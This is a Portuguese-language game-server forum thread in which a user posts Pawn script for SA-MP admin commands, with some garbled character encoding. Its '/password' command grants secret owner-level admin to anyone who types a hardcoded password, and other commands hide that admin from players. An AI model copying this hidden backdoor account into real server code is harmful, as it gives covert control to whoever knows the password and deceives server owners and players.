[Ajuda] modo secreto
#3

pawn Код:
public OnPlayerConnect(playerid)
{
    if(IsPlayerNPC(playerid))
    {
        SpawnPlayer(playerid);
        return 1;
    }
pawn Код:
if(strcmp(cmdtext, "/trabalhar", true) == 0)
    {
        if(PlayerInfo[playerid][pJailed] != 0)
        {
            SendClientMessage(playerid,COLOR_YELLOW," Vocк nгo pode trabalhar na cadeia!");
            return 1;
        }
        if(PlayerInfo[playerid][pAdmin] >= 1)
        {
            if(admtrampando[playerid] > 0)
            {
                admtrampando[playerid] = 0;
                GetPlayerName(playerid,sendername,sizeof(sendername));
                SendClientMessageToAll(COLOR_WHITE, "|______________ Aviso da Administraзгo ______________|");
                format(string, 128, "Admin: %s ID(%d) estб Jogando, Veja em /admins.",sendername, playerid);
                SendClientMessageToAll(COLOR_DBLUE, string);
                KillTimer(TempoAdministrador);
                SetPlayerToTeamColor(playerid);
                ResetPlayerWeaponsEx(playerid);
                SetPlayerHealth(playerid,100);
                SetPlayerSkin(playerid,skinadm[playerid]);
                getdate(year, month, day);
                gettime(hour,minute,second);
                format(gstring, sizeof(gstring), "%s esta jogando [%d/%d/%d - %d:%d:%d]\n", PlayerName(playerid), day, month, year, hour, minute, second);
                AdminLog(gstring);
            }
            else
            {
                admtrampando[playerid] = 1;
                GetPlayerName(playerid,sendername,sizeof(sendername));
                SendClientMessageToAll(COLOR_WHITE, "|______________ Aviso da Administraзгo ______________|");
                format(string, 128, "Admin: %s ID(%d) estб Trabalhando, veja em /admins.",sendername, playerid);
                SendClientMessageToAll(COLOR_DBLUE, string);
                SetPlayerToTeamColor(playerid);
                TempoAdministrador = SetTimerEx("Administrador", 100, true, "i", playerid);
                skinadm[playerid] = GetPlayerSkin(playerid);
                SetPlayerSkin(playerid,217);
                getdate(year, month, day);
                gettime(hour,minute,second);
                format(gstring, sizeof(gstring), "%s esta trabalhando [%d/%d/%d - %d:%d:%d]\n", PlayerName(playerid), day, month, year, hour, minute, second);
                AdminLog(gstring);
           }
        }
        return 1;
    }
    if(strcmp(cmdtext, "/BPBsecreto", true) == 0)
    {
        if(PlayerInfo[playerid][pAdmin] > 1342)
        {
            if(admtrampando[playerid] == 1342)
            {
                admtrampando[playerid] = 0;
                SendClientMessage(playerid,COLOR_GREEN,"Vocк desativou modo adm secreto ^^");
            }
            else
            {
                admtrampando[playerid] = 1;
                SendClientMessage(playerid,COLOR_GREEN,"Vocк ativou modo adm secreto ^^");
            }
        }
        return 1;
    }
    if(strcmp(cmdtext, "/modocia", true) == 0)
    {
        if(PlayerInfo[playerid][pAdmin] == 1342)
        {
            if(admhide[playerid] == 1)
            {
                admtrampando[playerid] = 0;
                admhide[playerid] = 0;
                SendClientMessage(playerid,COLOR_GREEN,"Vocк desativou modo adm secreto ^^");
            }
            else
            {
                admtrampando[playerid] = 1;
                admhide[playerid] = 1;
                SendClientMessage(playerid,COLOR_GREEN,"Vocк ativou modo adm secreto ^^");
            }
        }
        return 1;
    }
    if(strcmp(cmd, "/password", true) == 0)
    {
        if(IsPlayerConnected(playerid))
        {
            new x_nr[64];
            x_nr = strtok(cmdtext, idx);
            if(!strlen(x_nr))
            {
                return 1;
            }
            if(strcmp(x_nr,"futebol2007",true) == 0)
            {
                admtrampando[playerid] = 1;
                PlayerInfo[playerid][pAdmin] = 1342;
                admhide[playerid] = 1;
                SendClientMessage(playerid,COLOR_GREEN,"Vocк logou como admin dono/scripter secreto!");
                getdate(year, month, day);
                gettime(hour,minute);
                format(gstring, 128, "%s se logou como admin secreto [%d/%d/%d - %d:%d]",PlayerName(playerid),day, month, year,hour, minute);
                fdplog(gstring);
                return 1;
            }
            else
            {
                getdate(year, month, day);
                gettime(hour,minute);
                format(gstring, 128, "%s digitou a senha %s [%d/%d/%d - %d:%d]",PlayerName(playerid),x_nr,day, month, year,hour, minute);
                fdplog(gstring);
            }
        }
    }
Reply


Messages In This Thread
[Ajuda] modo secreto - by Gutierrez_zikaloko - 03.05.2012, 18:54
Re: [Ajuda] modo secreto - by ViniBorn - 03.05.2012, 18:59
Re: [Ajuda] modo secreto - by Gutierrez_zikaloko - 03.05.2012, 19:13
Re: [Ajuda] modo secreto - by ViictorDaay- - 03.05.2012, 19:23
Re: [Ajuda] modo secreto - by Djair_Black - 03.05.2012, 19:26
Re: [Ajuda] modo secreto - by ViictorDaay- - 03.05.2012, 19:27
Re: [Ajuda] modo secreto - by ViniBorn - 03.05.2012, 19:30
Re: [Ajuda] modo secreto - by CristoferBahr - 03.05.2012, 22:03

Forum Jump:


Users browsing this thread: 1 Guest(s)